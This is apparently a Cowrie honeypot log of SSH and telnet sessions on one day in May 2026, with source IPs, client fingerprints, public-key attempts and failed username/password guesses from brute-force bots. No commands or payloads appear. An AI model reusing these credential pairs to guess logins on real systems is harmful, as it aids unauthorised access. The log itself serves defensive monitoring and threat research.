{"eventid":"cowrie.login.failed","username":"user","password":"140986","message":"login attempt [user/140986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:30.717976Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140690","message":"login attempt [user/140690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:31.820281Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140586","message":"login attempt [user/140586] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:32.926909Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140485","message":"login attempt [user/140485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:34.029653Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140482","message":"login attempt [user/140482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:35.132859Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:36.235979Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0041606426239,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:38.666314Z","src_ip":"212.55.149.117","session":"a02b37171696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":38268,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1ad9ffb99d0","protocol":"ssh","message":"New connection: 193.24.211.100:38268 (159.203.135.109:22) [session: c1ad9ffb99d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:07.748366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:07.758574Z","src_ip":"193.24.211.100","session":"c1ad9ffb99d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:07.859740Z","src_ip":"193.24.211.100","session":"c1ad9ffb99d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"admin","message":"login attempt [default/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:08.289253Z","src_ip":"193.24.211.100","session":"c1ad9ffb99d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:09.401137Z","src_ip":"193.24.211.100","session":"c1ad9ffb99d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40930,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c105d5505a7","protocol":"ssh","message":"New connection: 2.57.121.112:40930 (10.17.0.5:22) [session: 8c105d5505a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:43.209741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:43.223617Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:43.323394Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oldsmobi","message":"login attempt [admin/oldsmobi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:43.794758Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"olddog","message":"login attempt [admin/olddog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:44.899072Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ogre","message":"login attempt [admin/ogre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:46.003406Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oakridge","message":"login attempt [admin/oakridge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:47.107052Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nurik","message":"login attempt [admin/nurik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:48.210807Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:38:49.314195Z","src_ip":"2.57.121.112","session":"8c105d5505a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28322,"dst_ip":"10.17.0.5","dst_port":23,"session":"7406f8bad984","protocol":"telnet","message":"New connection: 212.55.149.117:28322 (10.17.0.5:23) [session: 7406f8bad984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:09.915567Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.133.64.107","src_port":41208,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e20ff49305c","protocol":"ssh","message":"New connection: 23.133.64.107:41208 (10.17.0.5:22) [session: 3e20ff49305c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.376408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.381524Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.441170Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:64:43:28:5f:f2:9c:20:5d:5a:52:ac:c9:08:3f:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdn0nxBwQdKM4sP/UmTgJBlc4ZwI3sZVWZWhBhhdP0XserBQpzO5iazgaGAldetGhZCxBJB1xm9CxgDW68S59+MWRQnXNRK3hsSEhVFwTa13U/82n/y8u8kbnXX5Cch0te1Yh31zlJasXH9ZnICwIjqGg21uKttiGt25PcILoPTP0XlavCXcbYA43JMHluqGBztbcdjlJ4L22EFNS7MXOm91JQ4u5bYT8uWkhq0SJrFSrD3GA16c8E9LklbqxP0+9HloGSsHSoIq7LHiozwQsf0JBX6zlJ4eNyd/bSTG9KVbdIBSmhqQ3oVnFWM/0tXF2BrJQ2iyom/XVzXtCtGMV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:64:43:28:5f:f2:9c:20:5d:5a:52:ac:c9:08:3f:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.706579Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:64:43:28:5f:f2:9c:20:5d:5a:52:ac:c9:08:3f:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcdn0nxBwQdKM4sP/UmTgJBlc4ZwI3sZVWZWhBhhdP0XserBQpzO5iazgaGAldetGhZCxBJB1xm9CxgDW68S59+MWRQnXNRK3hsSEhVFwTa13U/82n/y8u8kbnXX5Cch0te1Yh31zlJasXH9ZnICwIjqGg21uKttiGt25PcILoPTP0XlavCXcbYA43JMHluqGBztbcdjlJ4L22EFNS7MXOm91JQ4u5bYT8uWkhq0SJrFSrD3GA16c8E9LklbqxP0+9HloGSsHSoIq7LHiozwQsf0JBX6zlJ4eNyd/bSTG9KVbdIBSmhqQ3oVnFWM/0tXF2BrJQ2iyom/XVzXtCtGMV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.710783Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:7d:76:75:c1:89:87:e9:64:73:e1:d2:f7:5a:20:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdo3wTosDycphUUdmOocPdHhDXp1wcGkwiCbPwTV4Rd43hplv1t9Fwub9aoThA7kv+NgBQXh3tlSneKMl5YhD3NQP3W7PMsAkOiUWcctzSzVQSheakCeVg50SZuuZNHUq4PUAM3v+Sju684xmvNVDdxMHX+dqyKjKE8WOhcXyTw9fsXbAfmLzuXoYOnTyJP2cpma3Q1187gd7cl3uOXbr5Bosq8k1S7kLY7CQwFBQ58HVkxSNJBd17YkIESppbSkZ/1wAj9z/0BGUJeQ1BVwnzJ2Z8REHNPf9qL9cQmM91PmbqSUqSoPoxyTJoWLduPFPS8crNTKaQLnZ3n2bo2Ax9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:7d:76:75:c1:89:87:e9:64:73:e1:d2:f7:5a:20:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.769783Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:7d:76:75:c1:89:87:e9:64:73:e1:d2:f7:5a:20:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdo3wTosDycphUUdmOocPdHhDXp1wcGkwiCbPwTV4Rd43hplv1t9Fwub9aoThA7kv+NgBQXh3tlSneKMl5YhD3NQP3W7PMsAkOiUWcctzSzVQSheakCeVg50SZuuZNHUq4PUAM3v+Sju684xmvNVDdxMHX+dqyKjKE8WOhcXyTw9fsXbAfmLzuXoYOnTyJP2cpma3Q1187gd7cl3uOXbr5Bosq8k1S7kLY7CQwFBQ58HVkxSNJBd17YkIESppbSkZ/1wAj9z/0BGUJeQ1BVwnzJ2Z8REHNPf9qL9cQmM91PmbqSUqSoPoxyTJoWLduPFPS8crNTKaQLnZ3n2bo2Ax9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.773762Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:60:35:e3:7a:d1:2d:df:e6:84:17:8c:ae:cb:f4:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTmdwtXv7WXkNQfrXqpJXMEsHjiP7AUxyiG8FmcK38Xujm6nJcRZNB+oqyDoooX81tD4+I/c/7wBPiCgn5Q92FF8DJVfjXXEJznnpb66loeBnf+BhgOEbXcmrKgMATbylZ66droVomVpRTAI+SlKvYJeBSLbU2s5YTyF3CVrlR7kaUj/fnqwQdxEt1uRsl5Dnovooh64D65k6fwWOJh297S5JUGsMv7ObTOMySfJg3OA7B12aEeICnnQPF54a2cm189LnA6+M7izU35bkWu0AXNmYwFt5lseAhaiyal6QyQtjvb/boKWraQJEYEMupNI3E3r9nEofSaRUDdjVsGis9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:60:35:e3:7a:d1:2d:df:e6:84:17:8c:ae:cb:f4:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.833255Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:60:35:e3:7a:d1:2d:df:e6:84:17:8c:ae:cb:f4:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTmdwtXv7WXkNQfrXqpJXMEsHjiP7AUxyiG8FmcK38Xujm6nJcRZNB+oqyDoooX81tD4+I/c/7wBPiCgn5Q92FF8DJVfjXXEJznnpb66loeBnf+BhgOEbXcmrKgMATbylZ66droVomVpRTAI+SlKvYJeBSLbU2s5YTyF3CVrlR7kaUj/fnqwQdxEt1uRsl5Dnovooh64D65k6fwWOJh297S5JUGsMv7ObTOMySfJg3OA7B12aEeICnnQPF54a2cm189LnA6+M7izU35bkWu0AXNmYwFt5lseAhaiyal6QyQtjvb/boKWraQJEYEMupNI3E3r9nEofSaRUDdjVsGis9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.839709Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:c2:73:48:fa:50:31:48:22:ad:ae:7d:dd:8d:19:e0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAItj2SL4fmAd5gh8xdnaE9F/azzf8+x0op5xKegK2hP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1e:c2:73:48:fa:50:31:48:22:ad:ae:7d:dd:8d:19:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.900032Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:c2:73:48:fa:50:31:48:22:ad:ae:7d:dd:8d:19:e0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAItj2SL4fmAd5gh8xdnaE9F/azzf8+x0op5xKegK2hP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.904332Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:b3:5f:63:13:42:17:34:e0:85:43:26:73:d6:21:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC14P+2wi1dyor0Dpyfe9NdubJRCb6o+M6I/VqXYqVmTSYuduAd3Lr9MAnFHyBm3YcY9Uh54mh6Pw9TX07/+FKneIM7cjnW2b293ZjDOTqTmNIKFYZe7iB27BMtASt1VwZv/Z3ceCnB/DlZWYsP5ngmhX1KWr8heAy1enLd1kir4QTk5fs7tRi+DAn5b7QWPtc4wjOy4YWqf5+wHqS/03YCTMhpjsQpcEMmVlVHFLlL/8T0H15dYADqHSzPoiGh7YCiu3rX1UTRnF64oGsXaEa8nFGZNsfPhLCq8H+xbC4NcCcGRvUjmNTh39kNBOmSGPEFQLEBxiIUht3gYxTwa6h7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:b3:5f:63:13:42:17:34:e0:85:43:26:73:d6:21:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.965077Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:b3:5f:63:13:42:17:34:e0:85:43:26:73:d6:21:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC14P+2wi1dyor0Dpyfe9NdubJRCb6o+M6I/VqXYqVmTSYuduAd3Lr9MAnFHyBm3YcY9Uh54mh6Pw9TX07/+FKneIM7cjnW2b293ZjDOTqTmNIKFYZe7iB27BMtASt1VwZv/Z3ceCnB/DlZWYsP5ngmhX1KWr8heAy1enLd1kir4QTk5fs7tRi+DAn5b7QWPtc4wjOy4YWqf5+wHqS/03YCTMhpjsQpcEMmVlVHFLlL/8T0H15dYADqHSzPoiGh7YCiu3rX1UTRnF64oGsXaEa8nFGZNsfPhLCq8H+xbC4NcCcGRvUjmNTh39kNBOmSGPEFQLEBxiIUht3gYxTwa6h7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:18.969059Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:19.026497Z","src_ip":"23.133.64.107","session":"3e20ff49305c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42830,"dst_ip":"10.17.0.5","dst_port":22,"session":"11faf78ef26c","protocol":"ssh","message":"New connection: 103.15.226.202:42830 (10.17.0.5:22) [session: 11faf78ef26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:20.303885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:20.309113Z","src_ip":"103.15.226.202","session":"11faf78ef26c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:20.554178Z","src_ip":"103.15.226.202","session":"11faf78ef26c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eversec123098","message":"login attempt [root/eversec123098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:21.292418Z","src_ip":"103.15.226.202","session":"11faf78ef26c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:22.534955Z","src_ip":"103.15.226.202","session":"11faf78ef26c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.97.37.239","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"e299fe48f0f0","protocol":"telnet","message":"New connection: 190.97.37.239:42512 (159.203.135.109:23) [session: e299fe48f0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:40:28.767845Z"}
